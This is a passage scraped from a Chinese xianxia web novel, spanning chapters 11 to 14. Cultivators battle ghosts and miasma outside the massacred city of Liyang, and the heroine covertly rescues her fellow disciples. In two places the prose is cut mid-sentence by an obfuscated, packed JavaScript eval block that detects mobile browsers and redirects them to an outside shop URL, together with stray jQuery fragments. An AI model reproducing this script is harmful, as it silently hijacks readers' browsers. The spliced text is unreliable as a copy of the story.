斑驳的城墙被遍布的藤蔓包裹,城门前站着的一行人,晃眼一瞧,不是先前在府邸的陈彻众人还能是谁。 冷风吹起他们身上的修士衣袍,若仔细看去,那衣袍底下空荡荡的,仿佛一个个人头悬在衣领之上,笑着对他们打招呼。 “不松松筋骨,他们真当小爷修仙修着玩儿呢!” 话落,愿回身前便出现一把威风凛凛的长剑,在黑夜里,衬出少年那双神采奕奕的双眸。 剑身银白,由朱砂绘制的红线从尖端直直的蔓延至剑柄之上,仿佛将剑一分为二。 在愿回掐诀时,剑身上的朱砂仿佛活了过来,缓缓流动。 “都站我身后去,我倒要瞧瞧,他们哪来的胆子挡小爷的路!” 少年矜傲的扬起下巴,置于身前的双手结印极快,长剑嗡鸣,金色的流光自少年指尖涌出落在长剑之上,如绳子般将人与剑连接在了一起。 “破!” 随着一声怒喝,带着金色流光的长剑,以势如破竹之力朝着城门而去。 烈风狂啸,阴云遮月。 顾岚青被风吹得睁不开眼,仍旧不忘竖起大拇指,“师兄,厉害!” 愿回冷哼一声,志在必得四个字快要从眼底溢出来。 顾岚青:“不愧是咱们宗最年轻的金丹修士,以师兄的天赋,对付区区几个阴魂,还不手到擒来,手拿把掐。” 在顾岚青一声声的赞美中,愿回下巴微抬,用余光扫了一眼从始至终都站在他身后的二人。 想象中的震惊与谄媚并未出现。 他略有些不满,却骤然听见城门处传来一声巨大的嗡鸣。 ‘峥——’ 与此同时响起的还有岁妱的惊呼,“小心!” 身体的下意识反应让愿回堪堪躲过朝着心口飞来的树枝,尽管如此,却仍旧没有来得及保全自己。 手指粗细的枝干从后背穿至前胸,愿回低头看去,鲜血浸染了衣襟,浓郁的血腥气不停地涌入鼻中。 “师兄!” 顾岚青连忙查看愿回伤势,“你没事吧?” 愿回疼的额间冒出细密的汗珠,他咬牙握住枝干,毫不犹豫的将其拔出。 随即服下携带的丹药,这才好上一些。 岁妱:“先下去,将法器收起来。” 他们站在法器上多少会受桎梏,那些阴魂比他们想象中难缠。 停在地面上时,城门距离他们仅有一丈远。 愿回的长剑没入城墙中,可城门前的那行‘人’却消失不见了。 他抬手掐诀,将剑召了回来,“是我方才一时不查遭了他们的道,再来一回,他们绝无可能伤我一丝一毫。” “话别说太满。”岁妱蹙眉看向四周,“有点不对劲。” 愿回:“哈?再不对劲也是阴魂搞出来的把戏,溧阳才被屠城几天,我才不信他们的修为能高深到哪里去!” 咔嚓—— 话音刚落,寂静的城外便响起一道声音。 愿回立马将剑横在身前,严阵以待,“出来!躲躲藏藏的干什么!” 除了夜风卷过枯叶的沙沙声,半晌也不见有什么动静。 “不好意思。”玉照缓慢的将脚挪开,地上正是一根断裂的枯枝,“踩到树枝了。” 愿回:“……” 他放下剑,正欲开口数落两句,腐臭的酸爽味涌入鼻尖,愿回猛地回头,挥出一剑。 眼前分明什么都没有,可凄厉的叫声尤其尖利,伴随着下油锅的滋滋声,刺痛着耳蜗。 愿回得意,“还想偷袭?我早防着呢!” 一层淡淡的灰雾散去后,仅有一簇长发湿漉漉的黏在了愿回的剑刃上。 愿回嫌弃的看了一眼,使了个清洁术,将剑身擦拭干净。 方才那一动,还未愈合的伤口再次裂开,愿回疼的龇牙咧嘴,嚣张大叫,“有本事就出来过招,否则被我抓住,定让你们知晓什么叫灰飞烟灭!” 他气势汹汹的将所有人护在身后,只有顾岚青哆哆嗦嗦的举着剑,与他一同严阵以待。 在二人严肃紧张的神情下,一旁的玉照则显得过于漫不经心。 岁妱虽不像愿回与顾岚青那般紧绷,可也一直在观察四周,想着解决办法,余光瞧见玉照后,她忍不住道:“你有法子?” 玉照回:“没有。” 岁妱:“那你为何看上去一点都不担心?” 玉照看向她,“不是有师姐在吗?” 岁妱想起自己先前许下的承诺,认同,“这倒也是。” 顾岚青忍无可忍的看向两人,“眼下是你们师姐弟打情骂俏的时候吗?” 玉照:? 岁妱:? 两人对视一眼,又毫无波澜的移开目光。 愿回突然道:“你们看那里是什么?” 顺着他手指的方向看去,东南西北四个方向分别起了瘴气,滚滚浓烟中,只能隐隐看见一些红白身影快速掠过。 瘴气所过之地,寸草不生。 一时之间,他们也分辨不出自己是已经入阴,还是仍在城外。 “你们还记得,城门在哪个方向吗?”岁妱问。 下一瞬,三人各指一个方向,却又同时开口,“不是在北方吗?” 意思是,他们都觉得自己指的方向是北方。 岁妱微微眯眼,这瘴气能影响人的认知,显然,他们也发现了。 各自对视一眼后,愿回冷笑道:“这些阴魂难缠,想要进城,只能——” 话未说尽,但他们都知晓是什么意思。 眼瞧着瘴气越来越近,岁妱立马道:“我们得分开行动。” “你疯了?就你、你一个筑基弟子,要是没有我师兄的庇护,只会沦为这些阴魂的养料!”顾岚青第一个不同意。 愿回同样冷嘲道:“你是怕自己死的不够快?” “这些瘴气会影响认知,若是不分开,或许会将身边的同伴当做阴魂砍杀,届时阴魂还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651680|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没现身,我们就已经窝里斗起来了。”岁妱冷着脸解释。 顾岚青面露犹豫,很显然,他只听愿回的,“师兄,真的是这样吗?” 回应他的,是一把剑身流动着朱砂的长剑,与一双满是杀意的双眸,“终于被小爷抓到了。” 好在他反应快,堪堪躲过,否则便已经捅了个对穿。 不等他询问,便听岁妱厉喝道:“分开!” 三人各自朝着不同的方向跑去,身影没入瘴气的瞬间,周遭似乎在瞬间安静了下来,彻底安静,不见一丝风声,像是进入了一个结界。 结界? 岂不是正好。 忽然,瘴气中隐隐传来女子的低泣,没有方位,以岁妱所站之位为原点,四面八方都有不同的泣声传来。 那些声音越来越近,越来越刺耳。 隐隐可见浓雾中出现一张张灰白的脸。 若是换做常人,此时早已被吓的晕厥过去。 但岁妱却只是颇有兴致的盯着,甚至还仔细观察,这些脸究竟是同一人的,还是此处当真有这么多阴魂。 忽然间,脚腕被一只冰凉的手抓住,和蛇一般的黏腻湿润,缓慢的抓住,又缓慢的松开。 “既然来了,就别走了。”少女轻佻的声音落下,如从天而降的火光,眨眼间便将那只灰白的手砍了下来,浓郁的鲜血混合着腐臭在岁妱脚边流了一地。 “啊——”凄厉叫声冲破天际。 岁妱抬脚一甩,搭在她脚腕上的断手瞬间飞远。 她皱眉不满的看着被鲜血染过的云履,正要使清洁术时,背后忽然间阴风阵阵。 她顺势抬手一挥,又是一声凄厉惨叫。 刚让云履干净了些,自身后喷洒而来的鲜血又落到了脖颈上。 不等她再次清理,眼前猛地贴近一张血盆大口,满是腥臭的味道将她熏的睁不开眼,血沫子喷了满脸。 岁妱抬手,身前如同隔了一块看不见的木板,那带血的嘴扭曲的想要一口咬下岁妱的脖颈,可无论她怎么用力,都无法靠近她一分。 原本还想要慢慢松筋骨的岁妱,忽然间听见一道痛苦的喊叫,“救命啊!” 这才恍然间想起,她不是一个人来出任务的,她还有个徒弟。 她留给玉照的那些灵光,也不知够不够他收拾这些阴魂。 念及此,岁妱也不想玩了。 眼前这阴魂应当已经修炼出了身躯,只是瞧着过于恐怖,纵横交错的紫黑青筋布满全身,在红衣下若隐若现,本就灰白的脸更是被分割成了几块。 好在长发遮住了她大半张脸,否则猛地对上这样一张脸,岁妱也免不得会打个哆嗦。 低吼不停的从红衣女子喉咙里发出。 岁妱撤去横在他们二人之间的阻隔,下一瞬,女子嘴角扬起一抹诡异的笑容。 像是坊间表演的木偶,有两根无形的线拉扯着她的嘴角,越来越大,越来越大…… 直到裂到耳后根才停止下来。 她张大嘴,无数蛆虫从她的嘴里钻了出来,数之不尽,渐渐汇聚堆叠成了一个男子的身形。 哟呵,老朋友啊。 岁妱眼底冒出一束兴奋的光。 12. 第12章 这一红一白的阴魂。 一个专用些恶心的手段,一个专用些恐怖的手段。 瞧着倒真像是两夫妻。 蛆人有了先前的教训,并未妄动,甚至提醒身边的红衣阴魂,“她拳脚厉害,别近身!” 阴魂往后退了一步,藏在头发下的眼睛,死死的盯着她。 四周的哭泣声并未因为他们的出现而停止,反倒愈见激烈。 “怎么?打不过便想吵死我?” 红衣没有废话,整个身子腾空而起,长发似有意识般越来越长,试图以这种手段将人绞杀。 蛆人大喜:“快、快杀了她!” 以往被头发缠住的人,没有一个能逃走的,蛆人越来越兴奋,身上的蛆虫唰唰往下掉。 如藤蔓般的发丝以迅雷不及掩耳之势朝着岁妱的脖颈袭来,可就在发丝触碰到少女衣裳的瞬间,人却突然消失了。 红衣猛地回头,只见身后也无人。 四周除了瘴气外,压根瞧不见一丝少女的身影。 蛆人颤抖着声音,“她、她去哪儿了?” 这分明是它们的结界,制造这些动静的也是它们,可此时却掉了个头,仿佛它们误闯进了少女的地盘,不知即将要面对何种危险。 忽然,一道火光刹那间袭向蛆人的脑袋,不等他有所反应,火光便迅速蔓延全身,惨叫声响彻天际—— 由蛆虫组成的身体,本就惧火。 “啊……救我,救救我啊……” 在萦绕的鬼哭狼嚎中,隐隐传来少女的轻笑,“我先前便说过,让你别玩这些恶心的招数,听不明白?” 红衣手足无措的看着蛆人变火人,双目流出两行血泪,伤心欲绝,“啊——” 三界之外还有鬼界。 只有凡人才会有三魂七魄,死后化为阴魂去往鬼界转世轮回。可若三魂七魄尽灭,那便与他们妖魔死后一样,真正的消失在这个世间。 是以不外乎红衣这般伤心。 她发了疯般的用发丝向四周蔓延,试图将岁妱从暗处抓出来。 发丝铺成了天罗地网,抓到岁妱不过时间问题。 “你杀了我夫君,我要你偿命!” 两行血泪顺着眼睑不停落下,让本就可怖的一张脸更加难以入眼。 风声鹤唳,驱散了刺耳的鬼哭狼嚎,寂静下,连一丝脚步声都听得尤为清楚。 红衣染血的双眸猛地看向右侧。 下一瞬,脖颈被少女狠狠掐住,“你想让我怎么偿命?” 歇斯底里的吼声被阻断在喉口,发丝从四面八方收拢,如鸟笼般迅速将两人笼罩其中。 “啧,你还真是只会这招啊。” 发丝还未碰到少女,便如烟花般‘砰’的一声炸开! 不等红衣反应过来,‘咔嚓’一声,脖颈应声而断。 红衣布满血丝的眼珠几乎要从眼眶中掉出来,无数鲜血顺着它的衣摆流出,不过片刻,便蔓延出一条流动的小溪。 她到死才都没明白为何自己毫无还手之力。 看不见尽头的瘴气中,少女所站的地方变成了一片血海,而她脸上不见一丝恐惧,略一抬手,便利落的取下了红衣身上的一样东西。 瘴气也随着阴魂的消失散去,四周重新恢复原貌之后,岁妱开始为难了。 剩下的三个方向的瘴气依旧没有褪去,那便说明他们仍旧在与阴魂缠斗。 只是…… 玉照先前走的是哪个方向来着? “以他那二十点灵光应当支撑不了太久……” 岁妱在原地徘徊,拎着脑袋的手烦躁的抓着红衣仅剩的一点头发。 就在岁妱左右为难试图分析出个结果的时候,玉照这头却与她想象中不同。 瘴气中唯一的净土上,放着一把躺椅,躺椅上铺着一层月白绒毯,坐在躺椅上的男子似乎正在闭目养神。 四周安静的出奇,唯有蹲在不远处的三个青年男子瑟瑟发抖的抱在一起。 他们小心翼翼的注视着躺椅上的玉照,见他微微蹙眉,顿时紧张不已,以为是自己发抖的声音惊扰了他,这下连身子都不敢颤了。 就在一刻钟前。 他们看见玉照竟然敢独身一人走进瘴气,正踌躇满志的要让他知道厉害时,便忽然感受到一缕仙气。 阴魂怕什么,阴魂除了不怕人,谁都怕。 更何况,还是三界之首,天界的神君。 三阴魂下意识反应便是跑,可那神君不知何故,抬手将他三人捉住后,竟冷声道:“等半个时辰。” 他们也不知半个时辰是何意。 是他们还能活半个时辰,还是半个时辰后会将他们放了? 带着惴惴不安的心绪,他们除了听话别无他法。 阴魂也要识时务者为俊杰,不然人家动动手指便能让他们烟消云散。 是以他们只能乖乖听话,不但变回了生前的凡人模样,还缩在一旁不敢惊扰神君半分。 这头有多闲散,愿回那里便有多惨烈。 身上的修士服早已瞧不出本来面貌,身上多处是被利器割出的伤痕,严重一些的手臂上,甚至皮肉外翻,鲜血淋漓。 少年握剑的手颤抖不止,抬手擦去嘴角血渍时,因颤着手,鲜血糊的满嘴都是。 但他不在意,双眸仍旧狠狠盯着不远处的老头儿,厉喝道:“再来!” 老头儿阴寒的声音仿佛是从腹部传来,闷的出奇,“看在我与你爹有点交情的份上,只要你求我,我可以放你一马,让你爹还能留个后。” 愿回笑的胸口震动,鲜血顺着剑柄流下,几乎与剑身上的朱砂融为一体,“你说的,是你圈养数十名童男童女练邪功,被我爹抽筋剥皮的交情吗?” 老头儿听此不怒反笑,“哈哈哈哈,天道好轮回,当年我是怎么求你爹的,今日,你便要怎么求我!” “谁说要求你了。” 话音落下的瞬间,剑刃直逼老头儿的心口! 狂风乍起,瘦如枯槁的指头上长出尖利的乌黑指甲,指甲从剑身上狠狠刮过,发出令人牙酸的声音。 指甲触碰到朱砂的一瞬,以肉眼可见的速度冒出滋滋黑烟。 老头儿恼怒的大吼一声,五指成爪,朝着少年的心口掏去! 愿回一个侧身堪堪躲过,可老头儿压根不给他喘息的机会,指甲迅速增长,直到比手指还要长出一倍不止时,乌黑的指甲直直的插进少年的肩膀。 “啊——”愿回发出一声痛苦的呜咽。 “你爹是个蠢的,你也是。”老头儿居高临下的嗤笑着,缓缓将指甲从少年体内伸出来。 愿回支撑不住的单膝跪地,剑尖没入地中,握在剑柄上的右手狠狠颤抖。 若不是还有一口气 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瘴气翻腾中,细长的指甲猛地朝着愿回的丹田而去。 少年眼中满是不甘。 这一次,他知道,他躲不过。 ‘砰——’ 就在指甲刚刚没入腹部的一瞬,一颗球从远处飞来,砸在了老头儿的身上,令他一个踉跄摔在地上。 老头儿看了一眼冒着黑气的手臂与停在少年身前的球。 那哪里是什么球,分明是一颗脑袋,还是红衣那阴魂的脑袋! 老头儿眼底闪过一丝惧怕,警惕的看向脑袋飞来的方向,“谁!出来!” 漫天的瘴气隐隐勾勒出少女姣好的身线。 一双绣着兰花的云履踩着浓雾,率先出现在老头儿眼前。 直到少女的身姿全然从雾中走出来时,老头儿才眯起眼,“原来是个小姑娘。” 岁妱看了一眼血淋淋的愿回,见他目光惊惧的望着自己,知晓这瘴气依旧能影响神识便放下心来。 毕竟等会儿就算打起来,在愿回眼中也不过是阴魂内讧,他不会知晓是她。 老头儿缓缓离地,整个身子飘在半空,乌黑的指甲竟不知何时长到了树枝一般长短。 “看起来你有点本事,竟能杀了那个死丫头。” 岁妱闻言,低头瞧了一眼地上的脑袋,疑惑道:“死丫头?她不是你们的头头吗?” 她见红衣能唤来蛆人,想来怎么着都应当有点地位,否则她也不会拎着脑袋到处走,想着能威胁便不动手,省着点灵光。 老头儿想到了什么,顿时哈哈大笑起来,“你莫不是以为她是我们中最强的一个吧?” 他的目光划过岁妱脖颈上血点,冷笑道:“小姑娘,你杀她想必费了不少功夫,等会儿落到我手里,正好和那小子凑成一对,让我开个荤。” 岁妱看了一眼他的指甲,“你不会,想拿这东西戳我吧?” 她回头看了一眼愿回,这才注意到他身上的割痕和窟窿眼,“……” “哈哈哈哈,放心,老夫会很温柔的。” 话落,老头儿猛地朝她袭来。 岁妱不躲不避的歪头看向他,眉眼弯弯,可眼底却不见一丝笑意,“对不住了,我不会温柔。” 13. 第13章 这老头儿确实比红衣难缠一点。 但也只是一点。 岁妱看着躺在地上奄奄一息的老头儿,皱眉,“这都没死?” 老头儿‘哗’的一声又吐出一摊黑汁。 岁妱刚要抬步,原先还奄奄一息的老头儿顿时有了精神,整个身子往后拼命挪动,惊恐的看着她。 岁妱顿了一下,紧接着跨过一地的指甲,走向瞧着比老头儿还要惨烈几分的少年。 愿回看向老头儿的惨样,大笑起来,鲜血从嘴角溢出,仍旧止不住他的笑声,“活该,哈哈哈哈活该!” 直到身前笼罩下一抹阴影,他才收回笑声,目光直勾勾的看向站他身前的‘阴魂’,犹如龇牙咧嘴却又无力还手的幼狼,冷笑道:“要杀要剐都随你,我宁愿死在你手上,也不——” 话音未落,只见那‘阴魂’对着他猛地抬手,冰凉的指尖点在他的额心。 与阴魂的腐臭不同,丝丝缕缕的清香顺着额心涌入经脉,愿回感受到身上瞬间有了力气,伤口肉眼可见的开始愈合,他顿时瞪大了双眸,不可置信的看向眼前的‘阴魂’。 她在……给他治伤。 为何? “好了,两清了。”岁妱满意的收回手,又有些心疼方才用掉的几点灵光。 两清?什么两清? 已经大好的愿回猛地拔出剑,横在‘阴魂’的脖颈上,“你到底是谁?!” 岁妱抬手,毫不费力的推开了他的剑刃,转身毫发无伤朝着老头儿走去。 愿回大惊,从心底生出一丝畏惧。 他知晓突然出现的这只‘阴魂’很强,否则也不会一招就将那老头儿打成那个模样,可知道归知道,等他真正与她交手时才发觉,莫说一招,他连半招都抵挡不住。 留在剑上的气息缓慢的涌入鼻中。 那、那是…… 愿回瞳仁紧缩,死死的盯着前方那道背影。 岁妱停在老头儿身前,还未开口,老头儿便连连求饶,“大人,大人饶命……” “你是头头儿?” 老头儿生前毕竟活了一大把年纪,自然知晓此时该说什么,他点头如捣蒜,生怕慢了一刻便落得和红衣一个下场,“是是是。” 岁妱蹲下,手臂横放在膝盖上支撑,笑眯眯的道:“真的?” “真的真的!只要大人能饶我一命,任凭大人吩咐!” “这城外的瘴气,你都能撤去?” “可以,可以!” “为何阻拦我们入城?” 老头儿只犹豫了一瞬,一条腿瞬间断裂,裂口冒出黑气,疼的他哇哇直叫,“大、大人饶命啊……” 站在不远处的愿回见此,忍不住嘶了一声,他看着都疼。 这位大人还真是没有一点耐心。 眼瞧着岁妱又要动手,老头儿连忙道:“是因为阵法!” “什么阵法?” 老头儿这下不敢再犹豫,“聚阴阵,城里有聚阴阵,我们的修炼之所以能一日千里,便是拖了聚阴阵的福。” 聚阴阵,乃是上古阵法,知晓的人并不多。 一般只有宗门长老或是一洲之主这样有身份地位之人才能得到古籍,知晓聚阴阵。 这阵法的奇特之处在于,只要阵成,便能滋养阴魂,使其不去鬼界投胎,不修炼阴术,亦能常年待在凡界,魂魄不灭。 “这阵法是一直都有,还是最近才出现的?” “屠城后出现的。” 岁妱又问了一些关于溧阳的事情,这才起身道:“把瘴气退了吧。” “是是是。”老头儿刚想使用阴气,又嗫嚅道:“大人,我、我受了重伤,阴气不足,恐怕没办法……” 话音未落,另一条腿又没了。 在老头儿痛苦的嘶吼中,岁妱问:“现在阴气足了吗?” “足了足了!”老头儿再不敢耍花样。 旁观全程的少年忍不住低笑出声。 岁妱瞧了他一眼,余光瞥到瘴气正在退散,快步朝着雾中走去。 眼见人要走了,愿回连忙追上去,“大人,等等!” 岁妱脚底生风,在少年的指尖触碰到衣裳的瞬间,身影消失在了浓雾中。 愿回怔愣的看着空荡荡的指尖,片刻之后懊恼的喃喃道:“走这么快做什么……” 他已经知晓她不是什么阴魂,而是妖女。 虽不知是哪里的妖,又为何要扮成阴魂的模样来救他。 但她是他的救命恩人,而他却连对方的名字都不知晓。 “咳咳……”耗费尽最后一点阴气,老头儿已是虚弱至极,身形从一开始的人模人样变成了鲜血淋漓,仿佛被酱汁从头淋到脚的血人模样。 而这,才该是他被抽筋剥皮而死的本来模样。 突然,老头儿眼前出现了一双长靴,目光顺着长靴看去,执剑的少年冷笑着站在他面前。 “你、你不能杀我,你不想知道你娘的事情了吗?我什么都告诉你,你别——” ‘滋滋——’ 老头儿彻底化为一团黑烟消散。 愿回手腕一翻,将长剑收回神识,“你说的话,我一个字都不信。” 少年转身头也不回的离开,随着瘴气彻底退散,另外几人的身形也渐渐显露。 他脚步一顿,不敢置信的看向不远处完好无缺的三人,喜悦蔓延,嘴角还未完全勾起,又愣住,“你们……” 他方才对付阴魂对付的那般吃力,险些将命交代在这儿,可他们却毫发无伤??? 也不是毫发无伤,至少玉照手背上有一丝血痕。 “……” 岁妱显然也注意到了,“受伤了?” 不管是作为修为最低的练气期,还是只有二十点灵光的神差,他或多或少都应当受点伤不是吗? 岁妱也想到了这一层,顿时有些懊恼。 她身上没伤,怎么办? 若不然现在划自己一刀? 正当她替自己想法子的时候,愿回突然问:“你方才也遇到那位大人了吧?” 岁妱转头看去。 愿回与顾岚青站在一处,显然二人方才已经互相通过消息。 他们都是被一只装作阴魂的女妖救了。 岁妱在去到江愿回那儿之前,先寻到的顾岚青,就顺便救了一手。 可天知道她找的玉照,结果一共三条路,她走错两次。 对上二人目光中的期待,岁妱只觉着天无绝人之路,正头疼怎么吃饭,就有人送来了筷子。 “当然见到了,正是那位大人救了我。” “那你知晓她是哪里的妖吗?叫什么名字?”愿回尤显急切。 “妖?”低沉的嗓音先岁妱一步开口。 玉照目光在岁妱与那二人之间来回流转,突然想到了什么,“这便是师姐说的,之后会一直护着我。” 岁妱:“……” “她一个筑基怎么护你?就连我都差点折在那阴魂的手上了,要不是妖女姐姐,我们早就身死道消了!”愿回对玉照突然插话略显不满。 “妖女姐姐?”玉照掀起眼皮看向他,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683360|143954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妖女姐姐又没救我,关我何事?” 听出他语气中的冷意,愿回也知晓自己方才话说重了,“我不是这个……不对啊,若是妖女姐姐没有救你,你为何只受了这么一点伤?” 闻言,玉照脸色更沉。 要早知晓他一个金丹都能这般废物,需要旁人搭救才能从阴魂手上活下来,他当然不会只受这么一点伤。 “怎么没救?”岁妱怕圆不回来,连忙道:“她来救我之前就跟我说,已经将我师弟救下来了。” “那你就是不知好歹!忘恩负义!”少年清隽的脸上挂满怒火。 玉照:“……” 岁妱:“……” 不知为何,她竟然有……一丝心虚。 不过这也不能怪她啊,她是一心想找玉照来着,可是瘴气遮目,她找不到路啊! “罢了。”愿回深吸一口气,继续问:“你们俩有知晓她是谁的吗?” 岁妱连连摇头,玉照沉默不语。 愿回肉眼可见的失落,“我也不知道……那我以后该去哪儿找她啊。” “你找她做什么?”岁妱不解。 愿回理所当然道:“报恩啊。” 见岁妱从容的模样,愿回顿时怒道:“你不会没想过吧?” 不等她回话,愿回咬牙道:“你们不愧是师姐弟,等回了宗门,我定要让宗主好好问问玄玉阁是怎么教的弟子!竟教出两个忘恩负义的白眼狼!” 方才还满面寒霜的玉照突然低笑起来。 愿回瞪向他,“你笑什么!” “没什么,骂的好。” 岁妱不动声色的看了他一眼,随即又将目光挪到他腰间已经幻化成一块普通白玉的玉牌上,意有所指道:“确实忘恩负义了。” 玉照身子一僵,适才想起腰间的玉佩。 不过转眼,他恢复如常,低头附在岁妱耳边,轻描淡写的划清界限,“日后,定会加倍奉还给师尊。” 这意思,那灵光便是问她借的,而不是她无偿赠与的。 如此说来,便算不上忘恩负义。 岁妱心底忽然升起一丝怒气。 任谁的好意被这般对待,都无法平静。 她笑道:“好啊,徒儿有心了。” 玉照也笑:“也望师尊能当得起师尊这个身份。” 他什么意思?这是怪她不管他? 岁妱从不受这种窝囊气,“我方才出来后就想去寻你,瘴气遮目,所以才走错了路。” “是吗?”玉照道:“以师尊在三界的名号,会连寻路的本事都没有吗?” 岁妱实话实说,“我是觉着你有二十点灵光,应当能撑到我来,是以我才没有那般急。” 玉照勾唇,“因为我在师尊心里并没有那般重要,所以你才会不急。” 岁妱被气笑,挑眉看着他,“哦?那你是我,你会怎么做?” 无言的对峙在二人之间流转,互不相让。 许久之后,玉照缓慢道:“自然是与你的选择一样。” “那就把嘴闭上,少说些我听不懂的话。”岁妱转身朝着愿回走去。 直到背影远去,玉照才将目光重新放到她身上,不久后,桃花眼里潋滟起一抹自厌,转瞬即逝。 “别耽误了,赶紧进城吧。”岁妱心情不佳的朝着城门走去。 正与顾岚青说话的愿回莫名看着她,噎了一下。 随着岁妱从身侧走过,一缕熟悉的清香夹在风中从愿回鼻尖抚过。 他略一怔愣,猛地抬头,看向已经远去的身影。 14. 第14章 “师兄,你看什么呢?”顾岚青顺着愿回的目光看去,满脸疑惑。 “没什么,走吧,先进城。”愿回觉着定是自己多想了,或是方才一直念叨着妖女姐姐,才会出现这样的幻觉。 话虽如此,可进城的路上,他却总是有意无意的看向岁妱,眼神莫名。 岁妱察觉到身后的目光,眉头微挑,回头看去。 愿回一时不察,正好对上一双明媚的星眸。 被抓到了。 他装作若无意识的移开眼,却听岁妱道:“城外有结界,你能打开吗?” 溧阳被屠城后,城外便笼罩着一层结界,只有修士才能打开,像是用来护着城外的百姓,以防他们误入其中。 再加上那老头儿说城里有聚阴阵。 是以这层结界与聚阴阵是谁的手笔?江衡如今是否在城内? 岁妱记得自己寻到愿回之时,听见他与老头儿说—— “他便是修炼邪术,便是屠城,也绝不可能杀我娘!” 修炼邪术、屠城。 他认识江衡,或者从他笃定的这句话来看,愿回的娘定与江衡关系匪浅。 斑驳的城门下只余风声,一行人站在紧闭的城门外,目光汇聚在少年身上,等着他出手。 被众人盯着的愿回:“……” 他适才想起,自己是这一行人中,修为最高的。 清醒过来的头脑也瞬间对将岁妱错认为妖女姐姐的自己,十分无语。 江愿回走至城门前,“师弟,帮我一把。” 顾岚青也是金丹修士,只是刚渡劫不久,修为还不稳定,但也比那两个强一些。 “等会儿我和师弟会将结界撕开一个口子,你们二人务必用最快的速度进去。” 愿回看了顾岚青一眼,二人同时使用术法,淡淡的金光如丝绸般盘旋在城门处,不多时,空中突然多出一条裂缝。 “就是现在,快!” 二人并未多言,迅速跑向裂缝,肌肤触碰到裂缝的瞬间,便被吸了进去。 紧接着,顾岚青和愿回也连忙跟上,四人尽数站在了城中。 晨光微熹,天边泛白,太阳只冒了个头,也足以让岁妱看清溧阳眼下的模样。 错落有致的酒肆茶坊规整的伫立在街道两旁,城门内堆放着几辆装货物的空马车,路上零散的小摊整齐的停靠在酒肆茶坊的空隙之间,瞧着与其他城池并无两样。 斜风卷起落叶,整座城安静的只有绿叶在地上摩擦的沙沙声。 唯一不同的是,只有物,没有人。 这是一座空城,或者说是—— 死城。 “不是说……整座城的人都死了吗?为什么除了人以外,什么都没变?”顾岚青睁大了眼,“就连尸体、血渍这些都没有。” “或许是因为聚阴阵。”愿回想起那老头儿说的话,“方才我们在城外遇到的那些阴魂,都是因为聚阴阵的缘故才千方百计的阻挠我们进城,怕我们毁了阵法,让他们尝不到修行一日千里的甜头了。” “聚阴阵?”忽然,距离他们最近的一间酒肆中传来陈彻的声音。 四人抬头看去。 只见由陈彻领头的众修士从酒肆中走了出来。 就是人数比之在府邸时少了许多,而仅存的这些修士,身上多少都带着伤。 陈彻一瘸一拐的来到愿回身边,神情急切的抓住他,“你放才说城里有聚阴阵?” 不等愿回说话,陈彻便喃喃道:“难怪、难怪那些阴魂如此难缠……” 注意到岁妱几人安然无恙,甚至连伤口都没有时,陈彻止住了话头,震惊道:“你们……你们没有遇到……” 不光是他,随着他一同走出来的众修士也同样不可思议。 他们这些人中,金丹元婴居多,而陈彻乃是大合期,只要再经过化神、圆满,便能飞升成神。 在四海九州,大合期的高手不少,却也不多。 这样的强者,多是宗门长老或者一城之主。 像陈彻这样的大能都受了伤,而这四个……却毫发无损??? 无数的目光落到他们身上,顾岚青最先顶不住,解释道:“是一位大人救了我们。” “大人?” 顾岚青将来龙去脉简单描述后,众人这才明白过来。 “运气真好。” “就是,我怎么没有遇到那位大人呢,要是跟愿回道友他们一起走就好了,说不定大人也能顺道救救我,我这胳膊就不用——” 话音未落便收到陈彻冷冷的目光,那修士顿时住了嘴。 “修道之人,若要靠着他人搭救才能活下来,那你们修的是什么道?还来什么溧阳?” 陈彻作为这里修为最高的人,在以强者为尊的四海九州里,他的话无人敢置喙。 “陈某不屑与浑水摸鱼的人为伍。”陈彻的目光扫过众修士,众人东张西望,没一人敢对上。 随即,他又看向岁妱,“溧阳比之城外只会更危险,这里可没有什么大人帮你们了。” 岁妱歪头看向他,认同道:“陈道友说的是,多谢关心。” 陈彻:“……” 他是这个意思吗? 又是一拳打在棉花上。 他也是,不长记性。 陈彻懒得再理会她,目光在四人之间流转之后,停在了愿回身上。 愿回莫名看着他,甚至一息之后,想将这老道的眼睛挖出来,让他慢慢看! 陈彻冷笑一声,转身带着众修士重新回到酒肆,留下愿回一脸莫名的问:“他方才看我干什么?” 岁妱想了想,“他可能是嫉妒你,长得比他好看?” 愿回怔愣一下,随即得意的扬起了下巴,“那是,在宗门时师弟师妹都爱和我玩,陈彻一看就没朋友。” 陈彻脚步一顿,回头恶狠狠的看了愿回一眼。 “你看,他瞪我,肯定是被我说中了。” 下一瞬,烈风卷着针叶从愿回耳畔擦过,直直的没入他身后的树干之中。 愿回顿时闭了嘴。 以他们天元宗与太虚宗的恩怨,陈彻就算不敢杀了他,教训他一下还是绰绰有余的,届时他都没地方说理去。 毕竟两宗常年打架,若是他被其他宗欺负了,还能和宗主告状,带人去讨要个说法。 但太虚宗不行,要不到说法,上门就是干! “师兄,我们先寻个地方住下来吧,届时再去和他们商讨一下,看看接下来怎么办。” 愿回点头,“那就先在附近寻个住处。” 他指着酒肆旁边的客栈,“那里就不错。” 